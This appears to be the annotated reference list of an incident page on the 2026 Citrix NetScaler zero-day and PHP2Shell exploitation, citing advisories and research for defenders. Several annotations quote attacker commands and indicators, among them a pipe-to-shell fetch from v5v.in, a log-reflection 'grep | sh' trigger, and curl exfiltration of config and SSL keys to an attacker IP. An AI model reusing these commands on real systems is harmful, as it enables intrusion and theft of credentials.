Source: GreyNoise, "Swarming Against Citrix 0-Day Exploitation". Victim-specific names and IPs from later IR-vendor writeups are deliberately left out. Beaumont warns that publishing them exposes organisations that have not yet remediated. [124]

Related pages

References

#SourceTypeURL
1Citrix - CTX697096 security bulletin (Sep 27)Primary official advisorieshttps://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscale.html
2Citrix community blog - Security Update: Guidance for NetScaler SAML Authentication Deployments (Oct 2; new issue, independent of CTX697096)Primary official advisorieshttps://community.citrix.com/techzone-blogs/110_security-updates/security-update-guidance-for-netscaler-saml-authentication-deployments/
3Citrix - CTX697174 security bulletin for CVE-2026-88779 (Oct 3; fixed builds 14.1-73.41, 13.1-64.28, FIPS/NDcPP) and the accompanying Citrix blog on Global Deny List mitigationsPrimary official advisorieshttps://support.citrix.com/external/article/CTX697174/citrix-netscaler-adc-and-citrix-netscale.html
4Citrix - CTX697191 security bulletin for CVE-2026-107406 (Oct 8; SAML memory overflow leading to RCE or DoS, CVSS v4.0 9.5; fixed builds 14.1-73.46, 13.1-64.29 and the FIPS/NDcPP builds; no workaround listed)Primary official advisorieshttps://support.citrix.com/external/article/CTX697191/citrix-netscaler-adc-and-citrix-netscale.html
5Citrix community blog - Protecting Customers: Immediate Guidance for CVE-2026-107406 in NetScaler ADC and NetScaler Gateway (Oct 8, updated 17:00 PDT; the blog sits behind a bot check and could not be read directly; per secondary reproductions of the advisory it adds no exploitation claim beyond the bulletin - Citrix not aware of any unmitigated exploits - and recommends restricting SAML/gateway reachability and disabling unused SAML configurations alongside upgrading)Primary official advisorieshttps://community.citrix.com/techzone-blogs/110_security-updates/protecting-customers-immediate-guidance-for-cve-2026-107406-in-netscaler-adc-and-netscaler-gateway-r1631/
6NIST NVD - CVE-2026-107406 record (published Oct 8 22:17 UTC, status Received; CNA CVSS v4.0 9.5 carried as Secondary; analysis not started)Primary official advisorieshttps://nvd.nist.gov/vuln/detail/CVE-2026-107406
7CERT-FR (ANSSI) - Avis CERTFR-2026-AVI-1285 (Oct 9; Citrix NetScaler ADC and Gateway, CVE-2026-107406, RCE or remote DoS; refers to Citrix CTX697191 for fixes)Primary official advisorieshttps://www.cert.cyber.gouv.fr/avis/CERTFR-2026-AVI-1285/
8MS-ISAC advisory 2026-110 (Oct 8; CVE-2026-107406 - states there are currently no reports of the vulnerability being exploited in the wild; notes four Citrix CVEs added to CISA KEV in recent weeks and assesses exploit chaining across some of them)Primary official advisorieshttps://www.cisecurity.org/advisory/a-vulnerability-in-citrix-netscaler-adc-and-citrix-netscaler-gateway-could-allow-for-remote-code-execution_2026-110
9NCSC New Zealand - Multiple vulnerabilities affecting Citrix NetScaler ADC and NetScaler Gateway products (Sep 28, updated 14 Oct 2026 with CVE-2026-107406: appliances patched per the original advisory are still vulnerable to it; patching is not sufficient to remediate compromised systems)Primary official advisorieshttps://www.ncsc.govt.nz/alerts/multiple-vulnerabilities-affecting-citrix-netscaler-adc-and-netscaler-gateway-products-2/
10Canadian Centre for Cyber Security - Citrix security advisory AV26-1023 (Oct 9; CVE-2026-107406 build guidance; does not describe exploitation)Primary official advisorieshttps://www.cyber.gc.ca/en/alerts-advisories/citrix-security-advisory-av26-1023
11CCB Belgium / Safeonweb (Oct 9) - Warning: Critical RCE vulnerability in Citrix NetScaler, Patch ImmediatelyPrimary official advisorieshttps://ccb.belgium.be/advisories/warning-critical-rce-vulnerability-citrix-netscaler-patch-immediately
12Citrix - CTX694799 Steps to Take if NetScaler ADC is Suspected to be CompromisedPrimary official advisorieshttps://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html
13Citrix community blog - Security Bulletin for CVE-2026-88771 through CVE-2026-88778 (incl. IoC section; last updated Sep 30) verification pendingPrimary official advisorieshttps://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778/
14Citrix (CTX-Michael) on r/Citrix, Sep 27 - CRITICAL UPDATE announcementPrimary official advisorieshttps://www.reddit.com/r/Citrix/comments/1wro1yf/critical_update_citrix_netscaler_adc_and_citrix/
15NetScaler Console documentation - Indicators of Compromise detection (incl. Citrix disclaimer on limits; page moved/withdrawn from docs.netscaler.com as of 6 Oct - URL now redirects to the docs home)Primary official advisorieshttps://docs.netscaler.com/en-us/netscaler-console-service/instance-advisory/ioc
16CISA alert - Critical zero-day vulnerabilities exploited in Citrix NetScaler ADC/Gateway (Sep 27; updated Oct 2 with a SIGMA detection rule; revised Oct 9 to add CVE-2026-88779 and CVE-2026-107406 and to confirm the reboot/re-execution relationship between the two)Primary official advisorieshttps://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway
17CISA Code & Media Analysis SIGMA rule - Citrix NetScaler CVE-2026-88771 and CVE-2026-88772 (TLP:CLEAR, test status; repo may be updated)Primary official advisorieshttps://github.com/cisagov/SIGMA_Rules/blob/develop/CMA_SIGMA_Citrix_CVE_2026_8871.yaml
18NCSC-NL advisory NCSC-2026-0394, version 1.0.1 (Sep 30; probability high, damage high; per-CVE scores and preconditions)Primary official advisorieshttps://advisories.ncsc.nl/2026/ncsc-2026-0394.html
19NCSC-UK - Exploitation of vulnerabilities affecting Citrix NetScaler ADC and GatewayPrimary official advisorieshttps://www.ncsc.gov.uk/news/exploitation-of-vulnerabilities-affecting-citrix-netscaler-adc-and-citrix-netscaler-gateway
20CSA Singapore - AL-2026-129Primary official advisorieshttps://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-129/
21Canadian Centre for Cyber Security - AL26-024Primary official advisorieshttps://www.cyber.gc.ca/en/alerts-advisories/al26-024-critical-vulnerabilities-affecting-citrix-netscaler-adc-netscaler-gateway-cve-2026-88771-cve-2026-88772
22CERT-FR alert CERTFR-2026-ALE-011 (Sep 28, updated Sep 30)Primary official advisorieshttps://cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-011/
23CSSF (Luxembourg) communique - Multiple Critical Vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway (Sep 28)Primary official advisorieshttps://www.cssf.lu/en/2026/09/multiple-critical-vulnerabilities-in-citrix-netscaler-adc-and-netscaler-gateway/
24CERT Quebec CERTQC-AVIS-2026-364 (Sep 28, TLP:CLEAR)Primary official advisorieshttps://www.cyber.gouv.qc.ca/avis/certqc-avis-2026-364
25HKCERT - Citrix Products Multiple Vulnerabilities (Sep 28)Primary official advisorieshttps://www.hkcert.org/security-bulletin/citrix-products-multiple-vulnerabilities_20260928
26ACSC (Australia) - Critical vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway (28 Sep; updated 3 Oct with the new SAML issue and confirmed Australian impacts)Primary official advisorieshttps://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/critical-vulnerabilities-in-citrix-netscaler-adc-and-citrix-netscaler-gateway-products
27BSI (Germany) - Citrix NetScaler: Systeme werden ueber ZeroDay-Schwachstellen angegriffen, BITS-H 2026-289305-1132, version 1.1 (Oct 1, TLP:CLEAR)Primary official advisorieshttps://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-289305-1032.pdf?__blob=publicationFile&v=4
28NCSC-FI / Traficom (Finland) - Citrix NetScaler vulnerabilities exploited in Finland (1 Oct; intrusions in Finland before the patches; 20 Oct: the warning is closed - no new exploitation or intrusion reports since 1 Oct, most exposed systems updated, and NCSC-FI still recommends log retention and monitoring for delayed detections)Primary official advisorieshttps://kyberturvallisuuskeskus.fi/en/news/citrix-netscaler-vulnerabilities-exploited-finland
29NCSC-FI / Traficom (Finland) - Citrix NetScaler -haavoittuvuuksia koskeva varoitus on päättynyt (20 Oct, in Finnish: the 1 Oct warning is ended; no new reports of exploitation attempts or intrusions since publication, most exposed systems updated per NCSC-FI observations, organisations still advised to verify all systems are updated, retain logs and keep monitoring to rule out delayed detections; reporting exploitation observations remains welcome)Primary official advisorieshttps://www.kyberturvallisuuskeskus.fi/fi/uutiset/citrix-netscaler-haavoittuvuuksia-koskeva-varoitus-paattynyt
30CISA Known Exploited Vulnerabilities catalog (CVE-2026-88771 and -88772 added Sep 27, due Sep 30; CVE-2026-88779 added Oct 4, due Oct 7)Primary official advisorieshttps://www.cisa.gov/known-exploited-vulnerabilities-catalog
31CERT-EU Security Advisory 2026-014 - Critical Vulnerabilities in Citrix NetScaler ADC and Gateway (Sep 27)Primary official advisorieshttps://cert.europa.eu/publications/security-advisories/2026-014/
32DKCERT (CERT for Danish universities and research) - To kritiske NetScaler 0-dage udnyttes aktivt før patch (Sep 29)Primary official advisorieshttps://cert.dk/node/639
33NHS England Digital cyber alert CC-4858 (Sep 28) - Exploitation of zero-day vulnerabilities affecting Citrix NetScalerPrimary official advisorieshttps://digital.nhs.uk/cyber-alerts/2026/cc-4858
34CIRCL TR-100 - per-CVE configuration-check CLI commandsPrimary official advisorieshttps://www.circl.lu/pub/tr-100/
35Dutch government letter to parliament - Kwetsbaarheden Citrix Netscaler (2026D47262, Sep 29)Primary official advisorieshttps://www.tweedekamer.nl/kamerstukken/brieven_regering/detail?id=2026D47262&did=2026D47262
36CVE.org - CVE-2026-88771 record (reserved Sep 10 07:14 UTC by NetScaler; published Sep 27 16:02 UTC)Primary official advisorieshttps://www.cve.org/CVERecord?id=CVE-2026-88771
37Citrix - CTX697263 security advisory for CVE-2026-109618 and CVE-2026-109619 (PHP2Shell, published 22 Oct; changelog 27 Oct: updated remediation versions - 14.1-73.49 and later, 13.1-64.32 and later, 14.1-73.49 FIPS and later, 13.1.37.286 FIPS/NDcPP and later; NetScaler Console, Secure Private Access, StoreFront, Citrix Virtual Apps and Desktops, Workspace app, Endpoint Management and XenServer not impacted; Citrix-managed cloud services already fixed)Primary official advisorieshttps://support.citrix.com/external/article/CTX697263/citrix-security-advisory-for-cve-2026-109618-and-cve.html
38Citrix community blog - Protecting NetScaler Management Access from PHP CVE-2026-109618 & CVE-2026-109619 (21 Oct; sits behind a bot check and could not be fetched directly - content per reproductions and the live page; it confirms only the management interfaces are affected - NSIP GUI and API, SNIPs with management access, cluster IP GUI - recommends restricting management access to trusted administrative hosts with ACLs per CTX228148; as of 27 Oct it states explicitly that the remediation 14.1 and 13.1 builds are available, replacing the earlier "planned for today" wording with the build numbers unchanged, and that WAF signature v186 covers backend PHP applications while management-interface signatures were still in development at last check; published at protect-netscaler-management-access-from-php-cve-2026-109618-cve-2026-109619-r1640)Primary official advisorieshttps://community.citrix.com/techzone-blogs/110_security-updates/protecting-netscaler-management-access-from-php-cve-2026-109618-cve-2026-109619-r1640/
39NetScaler ADC (includes NetScaler Gateway) - Release notes 14.1-73.49 (27 Oct; build replaces 14.1-73.46; the document itself lists no security-related fixes and points to CTX697263; ICA/VPN sessions using pre-upgrade session tickets are dropped; samlRejectUnsignedAssertion OFF is converted to the secure default)Primary official advisorieshttps://docs.netscaler.com/en-us/updates/citrix_adc/citrix_adc_14_1_73_49.pdf
40Citrix downloads portal - NetScaler Release 14.1 Build 73.49 (27 Oct, marked NEW: MPX firmware, VPX including AWS/Azure/GCP images, CPX, BLX and 14.1-FIPS Build 73.49; 13.1 Build 64.32 and 13.1-FIPS/NDcPP 37.286 equivalents listed the same day)Primary official advisorieshttps://www.citrix.com/downloads/citrix-adc/
41CERT-FR (ANSSI) - Avis CERTFR-2026-AVI-1394 (27 Oct; relays CTX697263: remote code execution risk, affected 14.1/13.1/FIPS/NDcPP version ranges, refers to the Citrix bulletin for fixes)Primary official advisorieshttps://www.cert.cyber.gouv.fr/avis/CERTFR-2026-AVI-1394/
42NetScaler Console documentation - Identify and remediate vulnerabilities for CVE-2026-109618 (27 Oct; the CVE Detection view lists impacted instances, an on-demand Scan-Now and a Proceed-to-upgrade workflow)Primary official advisorieshttps://docs.netscaler.com/us/en/netscaler-console-service/security-advisory-dashboard/remediate-vulnerabilities-cve-2026-109618.html
43PHP - Security advisory: Critical remote code execution vulnerabilities, update now (21 Oct, php.net archive 2026-10-21-5; releases 8.5.12, 8.4.27, 8.3.36 and 8.2.35 fix CVE-2026-109618 (GHSA-w8hw-w9fx-j79w) and CVE-2026-109619 (GHSA-6wmf-4rv5-p3rp), both CVSS 4.0 9.2; every PHP installation serving web requests is at risk, mod_php highest risk; source backports for EOL 7.4, 8.0 and 8.1)Primary official advisorieshttps://www.php.net/archive/2026.php#2026-10-21-5
44PHP - Informational advisory: Session upload progress (23 Oct, php.net archive 2026-10-23-1; CVE-2026-115560: requires session.serialize_handler initially php_binary or php_serialize, changed to php at runtime via ini_set() before session_start(), with upload progress enabled; recommends session.upload_progress.enabled=0 until the next regular bugfix release, which is also the 21 Oct CVE-2026-109619 mitigation - if applied then, keep it; full advisory promised with the next release; no NetScaler applicability established as of 27 Oct)Primary official advisorieshttps://www.php.net/archive/2026.php#2026-10-23-1
45PHP php-src security advisory GHSA-w8hw-w9fx-j79w - CVE-2026-109618, RCE via OOM corruption (21 Oct)Primary official advisorieshttps://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
46PHP php-src security advisory GHSA-6wmf-4rv5-p3rp - CVE-2026-109619, RCE via stale global state (21 Oct)Primary official advisorieshttps://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
47NIST NVD - CVE-2026-109618 record (published 21 Oct 14:17 UTC, status Analyzed; NVD primary CVSS 3.1, CNA CVSS 4.0 9.2 as Secondary)Primary official advisorieshttps://nvd.nist.gov/vuln/detail/CVE-2026-109618
48CISA alert - Critical Vulnerabilities in PHP Require Immediate Patching (21 Oct; revised 23 Oct with a SIGMA detection rule and partner resources; updated 26 Oct for the KEV additions of both CVEs, federal due 29 Oct, forensic triage required)Primary official advisorieshttps://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching
49CISA Code & Media Analysis SIGMA rule - PHP2Shell CVE-2026-109618/-109619 exploitation attempts (TLP:CLEAR, dated 21 Oct, modified 23 Oct; request patterns, exploit markers, PHP error messages and reported infrastructure)Primary official advisorieshttps://github.com/cisagov/SIGMA_Rules/blob/develop/CISA_SIGMA_261429_CVE_2026_109618-109619_PHP2Shell_TLP_CLEAR.yaml
50CISA KEV - CVE-2026-109618 and CVE-2026-109619 added 26 Oct 2026, federal due date 29 Oct, forensic triage required, ransomware use unknownPrimary official advisorieshttps://www.cisa.gov/known-exploited-vulnerabilities-catalog
51Palo Alto Networks - Impact of CVE-2026-109618/-109619 on Palo Alto Networks Products (21 Oct, updated through 25 Oct: PAN-OS and Panorama affected via the management web interface, product CVSS-B 8.7; hotfixes rolling out branch by branch - 10.2.18-h13, 11.1.16-h4 and 11.2.10-h16 released, remaining builds estimated 27-30 Oct; not aware of malicious exploitation against its products; GlobalProtect and Captive Portal not affected)Primary official advisorieshttps://security.paloaltonetworks.com/CVE-2026-109618
52Beacon Lab (US) - Alert 2026-117: Two critical vulnerabilities in PHP (21 Oct, updated 23 Oct; confirms the Citrix exposure model - NSIP GUI, management SNIPs, cluster IP; Console and SVM not affected; Citrix WAF signature v186 covers backend PHP applications while management-interface signatures are being developed; ACL guidance preserving Console access before DENY rules)Primary official advisorieshttps://beaconlab.us/en/publication/alert-2026-117-two-critical-vulnerabilities-in-php-with-pending-emergency-update/
53Tenable Research Special Operations - FAQ on the reported Citrix NetScaler zero-days (Sep 27, last updated Oct 4 with CVE-2026-88779, KEV addition and GDL mitigations; also first to report the leaked NCSC-NL pre-notification TLP marking)Technical researchhttps://www.tenable.com/blog/frequently-asked-questions-about-reported-citrix-netscaler-zero-day-vulnerabilities
54Beazley Security (Oct 8 advisory) - Critical Remote Code Execution Vulnerability in Citrix NetScaler ADC and NetScaler Gateway (CVE-2026-107406; notes no independent technical analysis or public PoC known at time of writing, recommends removing unused SAML configurations and restricting SAML endpoints)Technical researchhttps://beazley.security/alerts-advisories/critical-remote-code-execution-vulnerability-in-citrix-netscaler-adc-and-netscaler-gateway
55DEV Community reproduction of Citrix's CVE-2026-107406 advisory (Oct 8-9; full breakdown of the blog + bulletin: attack flow, investigation triggers, MITRE mapping T1190/T1499.004, IdP/SP version ranges, "not aware of any unmitigated exploits" wording; third-party reproduction, not the Citrix text itself)Technical researchhttps://dev.to/anoymask/citrix-netscaler-cve-2026-107406-pre-authentication-rce-and-dos-via-saml-configuration-ae9
56CERT-EU - Taking "execute logging" a bit too literally - CVE-2026-88771 (Sep 28)Technical researchhttps://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771
57watchTowr Labs part 1 - Oh Look, the Foot Gun Went Off Again (CVE-2026-88771) (Sep 28)Technical researchhttps://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
58watchTowr Detection Artefact Generator - CVE-2026-88771 (GitHub)Technical researchhttps://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771
59watchTowr Labs part 2 - Here We Go Again (CVE-2026-88772), Sina Kheirkhah (Sep 29)Technical researchhttps://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/
60watchTowr Detection Artefact Generator - CVE-2026-88772 (GitHub)Technical researchhttps://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772
61watchTowr Intel - Post-Exploitation Analysis & Artifacts: Citrix NetScaler CVE-2026-88771 (Oct 7; honeypot sensor network: OOB probes, Sliver ns_helper implant, trojanized Dropbear SSH backdoor on tcp/37512, Perl stager with gw_health superuser and password-keyed PHP webshell, SSH-key spray, ns.conf theft; warm-reload claim for CVE-2026-88772/88779 crashes)Technical researchhttps://watchtowr.com/intelligence/post-exploitation-analysis-artifacts-citrix-netscaler-cve-2026-88771/
62Martin's Blog (mac.sploit.dk) - "NetScaler Needs More Than Another Patch" (Oct 2 08:00 CEST; opinion/analysis: platform posture, 15.1 Linux Tech Preview, what to demand at renewal)Technical researchhttps://mac.sploit.dk/blog/netscaler-needs-more-than-a-patch/
63Martin's Blog (mac.sploit.dk) - "CVE-2026-88771: From a Failed NetScaler Login to a Shell" (Sep 29; reverse engineering of ns_monuploadd_err.pl on 14.1-73.30/73.37: source-to-shell path, -WR trigger not reproduced, detection engineering with confidence levels)Technical researchhttps://mac.sploit.dk/blog/cve-2026-88771-netscaler-login-log-command-injection/
64Martin's Blog (mac.sploit.dk) - "CVE-2026-88772: Following a NetScaler DTLS Overflow Across Two Builds" (Sep 29; binary comparison of nsppe 73.30/73.37: missing cumulative bound, 0x8c00 capacity check added; static only, no exploit run; flags type-DTLS load-balancing vservers as easy-to-miss exposure)Technical researchhttps://mac.sploit.dk/blog/cve-2026-88772-netscaler-dtls-memory-overflow/
65cirosec - "Hiding your NetScaler from mass exploitation with SNI" (27 Oct; part 1 IR: in cirosec's own cases attackers swept entire address ranges around 20 Sep and attacked anything that answered on the IP that looked like a NetScaler, and default-state logging meant logs had rotated out before investigation; part 2 hardening: SNI-only certificate bindings with SNI enforcement in a custom frontend SSL profile leave an IP-only scanner with no certificate, optionally plus a CLIENTHELLO_REQ policy that resets every ClientHello without the exact hostname; a single remaining non-SNI certificate binding defeats the concealment even with allowUnknownSNI DISABLED; builds on Johannes Norz's SNI-binding write-up; verification tool SNItch on GitHub; stated limits: not a patch and ineffective against anyone who knows the hostname - certificate transparency logs publish it, so they recommend a new non-obvious hostname behind a wildcard certificate, which makes the reset policy mandatory; DTLS on UDP/443 untested; tested on CPX 13.0/14.1 and 14.1 in profile mode only, so VPX/MPX behaviour is not established; IP-only health checks and monitors break; the profile-mode switch is global and hard to reverse, with a legacy-mode variant also tested)Technical researchhttps://cirosec.de/en/news/hiding-your-netscaler-from-mass-exploitation-with-sni/
66Johannes Norz - "Blocking requests to the IP address in SSL vServers on Citrix NetScaler ADC" (the SNI-binding approach cirosec builds on)Technical researchhttps://norz.at/?p=2419
67Martin's Blog (mac.sploit.dk) - "Finding the NetScaler SAML Crash in nsaaad" (Oct 3, updated Oct 4; reverse engineering + controlled lab: canonicalize_data 16-entry unterminated stack array, canary read as string pointer, SIGBUS in strlen; internal-message path only, no AAA licence for external test; fixed-build comparison not done)Technical researchhttps://mac.sploit.dk/blog/netscaler-saml-prefixlist-nsaaad-crash/
68Rapid7 ETR - Zero-Day Exploitation of Citrix NetScaler ADC and Gateway (Sep 28; last updated Oct 19: overview links to the separate Rapid7 Analysis of the confirmed 88771+88779 chain; earlier updates Oct 6: MDR observed exploitation from 20 Sep 14:28 UTC by 149.104.78.208 - tar of /flash/nsconfig to /vpn/c - two organisations compromised; .ctxs.receiver webshell sample hash ed082f74... observed 24 Sep)Technical researchhttps://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/
69Truesec - Multiple Critical Vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway (Sep 28)Technical researchhttps://www.truesec.com/hub/blog/multiple-critical-vulnerabilities-in-citrix-netscaler-adc-and-netscaler-gateway
70Google GTIG / Mandiant - Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances (Sep 29)Technical researchhttps://cloud.google.com/blog/topics/threat-intelligence/defending-against-active-exploitation-of-citrix-netscaler-adc-and-gateway-appliances
71Nextron Systems (Florian Roth) - New THOR Detection Coverage for CVE-2026-88771 and CVE-2026-88772 (Sep 29)Technical researchhttps://www.nextron-systems.com/2026/09/29/new-thor-detection-coverage-for-citrix-netscaler-cve-2026-88771-and-cve-2026-88772/
72Arctic Wolf - Citrix NetScaler Active Exploitation via CVE-2026-88771 (IoC pack, Sep 30)Technical researchhttps://github.com/rtkwlf/wolf-tools/tree/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771
73Sygnia - Actively Exploited NetScaler Vulnerabilities (IR-based advisory, Sep 30)Technical researchhttps://www.sygnia.co/threat-reports-and-advisories/actively-exploited-netscaler-vulnerabilities/
74TENEX - What TENEX Observed Inside Active Exploitation of CVE-2026-88771 (Sep 30)Technical researchhttps://tenex.ai/blog/what-tenex-observed-inside-active-exploitation-of-netscaler-zero-day/
75Poppelgaard - NetScaler CTX697096/CTX697174/CTX697191/CTX697263 checker (free read-only script, source-available under PolyForm Shield from v1.17, MIT through v1.16; v1.18 released 27 Oct: php2shell status by build - fixed in 14.1-73.49 (also FIPS), 13.1-64.32 and 13.1.37.286 FIPS/NDcPP per CTX697263 - and on a build without the fix, a management GUI open to any source in the NetScaler ACLs, or forwarded by an LB vserver, is now VULNERABLE (verdict VULNERABLE_PHP2SHELL, exit code 2) while a restricted GUI is a [CHECK] (exit 1); a fixed build whose PHP module lacks the two fix functions returns [CHECK] to confirm with Citrix Support; v1.17 released 22 Oct: php2shell check on every run (PHP version and fix status, management addresses NSIP/SNIP/cluster IP and whether ACLs close ports 80/443 per CTX228148, LB vservers forwarding to the management web server, PHP stopgap settings, php2shell hunting leads - management POSTs from public addresses and PHP OOM errors/Apache child crashes since 17 Oct, never red), Zscaler ThreatLabz and watchTowr indicators (kw2 /var/kw2s11, Nx_ webshells, PHP enabled in httpd.conf, the Dropbear walk backdoor, gw_health, the lo@vps SSH key), a file-integrity check of the web GUI on 14.1-73.46 against a clean appliance per Manuel Winkel (Deyda) references, per-vserver MFA check, nobody-defunct false-alarm fix; v1.16 released Oct 8: CVE-2026-107406 build and SAML IdP/SP check on every run - verdict VULNERABLE_CVE-2026-107406 and exit code 2 also on builds already fixed for CTX697096 and CVE-2026-88779 - plus a community-reported overnight wave of the same login injection fetching https://v5v.in/r.sh?k=<key>|sh, payload host v5v.in and IP 72.5.65.111 added, totals 132 IPs / 18 domains / 38 hashes; v1.15 Oct 8: WHIPSHOT/SLAPSHOT scanning detection per Lupovis, log-reflection technique - a whole shell script parked in a tagged User-Agent landing in the HTTP access log, then the CVE-2026-88771 injection runs only grep <tag>: /var/log/htt* | sed ... | sh - the SOCRadar "NetScaler C2" automated injection tool with polling agent /tmp/.nsagent (compromise) and 45.143.130.195, and 16 Huntback.io attacker IPs, compromise check now runs by default on the appliance, receiver.deb / random 12-char .deb theme-folder probes, g-suffix .css cache-bypass requests; v1.14: config/SSL-key theft payload - ns.conf + /nsconfig/ssl/*.key dumped to a random 6-char .css in LogonPoint, exfil to 81.94.239.8:8877 via curl --data-binary; pick-up 200 = compromise, 404 = failed; VERDICT: COMPROMISED exit code; PR #4/#5: .php/.phtml under /var/netscaler/logon and /var/vpn, setuid/setgid under /var, /tmp, /nsconfig, /flash, /home, /root, CVE-2023-3519 gnuplot.php and /var/rgroupadd; v1.12 removed pyrlnk.cc per issue #3)Technical researchhttps://github.com/ThomasPoppelgaard/netscaler-ctx697096-checker
76Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission)Technical researchhttps://labs.beazley.security/advisories/BSL-A1216
77Previdian (@PrevidianCyber) - NetScaler honeypot sensors (Oct 5: installer script dropping the 'host' ELF from f.pylrk.cc to /nsconfig/.nsl and /var/nslog/.nsl during CVE-2026-88771 exploitation attempts; 51.158.203.95 targeting multiple vulnerabilities since 25 Aug; single-source)Technical researchhttps://x.com/PrevidianCyber/status/2107091061579649152
78SOCRadar - NetScaler C2: CVE-2026-88771 Exploitation Operation (Oct 7; full teardown of an in-the-wild autonomous mass-exploitation framework: FOFA recon up to ~120k candidates, version fingerprinting, injection across 11 unauthenticated endpoints every 30 minutes via the admautoregd daemon with a 24-hour/reboot execution window, lightweight polling C2 agent /tmp/.nsagent with DNS OOB fallback, Simplified-Chinese comments suggesting AI-assisted development and a Chinese-speaking operator)Technical researchhttps://socradar.io/blog/netscaler-c2-cve-2026-88771-exploitation/
79Binary Defense ARC Labs - "Platypwned: When a Citrix 0-Day Lays an Egg" (Oct 12; first-hand IR on two compromised appliances: private Platypus fork with fork-only rootesc/selfpersist modules, FreeBSD and Windows agents from one build tree, HA-sync analysis - httpd.conf and ssh keys sync to the secondary within a minute while webshell directories do not, JARM and three platypus-ingress cert thumbprints, Namecheap batch-registered aged domains, Russian-registered white-guard.pro as protected tier, prior Havoc C2 history on the same server; attribution low-confidence to financially motivated Eastern European/CIS operators, not nation-state)Technical researchhttps://binarydefense.com/resources/blog/platypwned-when-a-citrix-0-day-lays-an-egg
80Poppelgaard - CVE-2026-88771 through CVE-2026-88778, CVE-2026-88779, CVE-2026-107406 and php2shell, what you should know and how to fix (Sep 28, last updated Oct 22 with the php2shell management-GUI analysis, ACL examples per CTX228148, and a note on fixes planned for 27 Oct - since realized; earlier updates Oct 2)Technical researchhttps://www.poppelgaard.com/cve-2026-88771-through-cve-2026-88778-what-you-should-know-and-how-to-fix-your-netscaler-adc-netscaler-gateway
81External malware analysis report (TLP:CLEAR, 2 Oct) - "Sliver C2 Implant Delivered via Citrix NetScaler Exploitation (CVE-2026-88771)"; independent static analysis, corroborated by Expel IR observationTechnical researchhttps://www.virustotal.com/gui/file/0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027
82LevelBlue SpiderLabs (THOR team) - CVE-2026-88771 Observed Exploitation Artifacts and Hunt Indicators (Sep 30; own findings, not independently confirmed)Technical researchhttps://www.levelblue.com/blogs/spiderlabs-blog/citrix-netscaler-cve-2026-88771-observed-exploitation-artifacts-and-hunt-indicators
83Zscaler ThreatLabz - CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability (Oct 16; staged INDEX:<base64> User-Agent log staging, pitboss poisoning via /nf/auth/doAuthentication.do and /cgi/login with a grep+b64decode -r|sh trigger, Nx_<number>.html/.php/.pl webshells and Perl CGI shells, php_engine and AddHandler cgi-script .pl enablement, kw2-freebsd-x64-s11 Rust FreeBSD implant from 209.141.43.95 overlapping StyleSmuggler CVE-2026-75650 infrastructure, a 26-IP burst, 28 source IPs and Sh3llc0de-sourced hunt commands)Technical researchhttps://www.zscaler.com/blogs/security-research/cve-2026-88771-inside-exploitation-critical-netscaler-rce-vulnerability
84Remko Weijnen - "Does PHP2Shell reach NetScaler? Taking the firmware apart to find out" (21 Oct 18:19 CEST, static analysis of 14.1-73.46: PHP 8.1.34 - the last 8.1 release, EOL since 31 Dec 2025 - libphp.so lacks both fix functions (zend_mm_safe_error_ex, zend_new_array_singleton); exposed = management GUI via Apache mod_php on NSIP, management-enabled SNIPs/MIPs and the cluster IP; not exposed = the Gateway/AAA data plane, where the packet engine proxies logon traffic to a loopback vhost 127.0.0.1:81 with php_flag engine off, Require all denied on .php, and a LogonPoint package containing no PHP at all; exception = an LB or content-switching vserver forwarding to the management web server puts the PHP on the data plane; follow-up 22 Oct on ASLR)Technical researchhttps://remkoweijnen.nl/blog/2026/10/21/netscaler-php2shell/
85Remko Weijnen and Jan Tytgat - "Did Citrix really fix PHP2Shell on NetScaler? Taking the patched firmware apart" (27 Oct, part 3; static analysis of 14.1-73.49 vs 73.46: the upstream 8.1 backport is compiled into libphp.so and bin/php - both fix functions present, the zend_alloc.c bailout string gone, sapi_deactivate_module/php_request_shutdown/zend_shutdown_executor_values clear the stale globals - the mechanisms of CVE-2026-109618 and CVE-2026-109619 are fixed; PHP still reports 8.1.34 and the FreeBSD 11.4 kernel still has no ASLR, and php.ini is unchanged; version-based scanners will false-positive on the patched build - the NetScaler build number vs CTX697263 is the patch state; not confirmed by Citrix, no exploit run)Technical researchhttps://remkoweijnen.nl/blog/2026/10/27/netscaler-php2shell-citrix-patch/
